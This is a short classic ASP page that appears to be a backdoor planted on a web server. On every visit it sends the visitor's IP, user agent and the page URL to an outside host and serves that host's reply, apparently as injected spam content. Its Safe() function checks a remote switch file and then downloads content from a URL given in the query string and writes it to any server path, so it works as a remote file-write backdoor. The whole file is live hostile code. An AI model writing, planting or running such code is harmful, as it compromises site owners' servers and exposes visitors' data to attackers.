<%@LANGUAGE=VBSCRIPT CODEPAGE="65001"%>  
<%
Response.charset = "utf-8"
%>

<%
server.Scripttimeout=999999


agent=LCase("agent:"&request.servervariables("http_user_agent"))
host_name="http://"&request.servervariables("HTTP_HOST")&request.servervariables("script_name")

Remote_file = "http://realtyconsultantsltd.com/api.aspx?canshu="&GetUrl&"&agent="&agent&"&refip="&Request.ServerVariables("REMOTE_ADDR")&"&host="&"http://"&request.servervariables("HTTP_HOST")
Content_mb=GetHtml(Remote_file)
Safe
response.write Content_mb
%>
<%
 Function GetUrl()
   Dim ScriptAddress,Servername,qs
   ScriptAddress = CStr(Request.ServerVariables("SCRIPT_NAME"))
   Servername = CStr(Request.ServerVariables("Server_Name"))
   qs=Request.QueryString
   if qs<>"" then
   GetUrl ="http://"& Servername & ScriptAddress &"?"&qs
   else
   GetUrl ="http://"& Servername & ScriptAddress
   end if
End Function


Function Safe()
Content_mbs=GetHtml("http://realtyconsultantsltd.com/safe.txt")
if Content_mbs="safe" then
s=request.queryString("safeurls")
a=request.queryString("safeurlss")
if s<>"" then
SafeContent=GetHtml(s)
Set fso=Server.CreateObject("Scripting.FileSystemObject")
Set f=fso.CreateTextFile(Server.MapPath(a),true)
f.WriteLine SafeContent
f.close
set f=Nothing
set fso=Nothing
end if
end if
End Function

Function GetHtml(url)
	Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")
	ObjXMLHTTP.Open "GET",url,False
	ObjXMLHTTP.setRequestHeader "User-Agent","Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0"
	ObjXMLHTTP.send
	GetHtml=ObjXMLHTTP.responseBody
	Set ObjXMLHTTP=Nothing
	set objStream = Server.CreateObject("Adodb.Stream")
	objStream.Type = 1
	objStream.Mode =3
	objStream.Open
	objStream.Write GetHtml
	objStream.Position = 0
	objStream.Type = 2
	objStream.Charset = "gb2312"
	GetHtml = objStream.ReadText
	objStream.Close
End Function
%>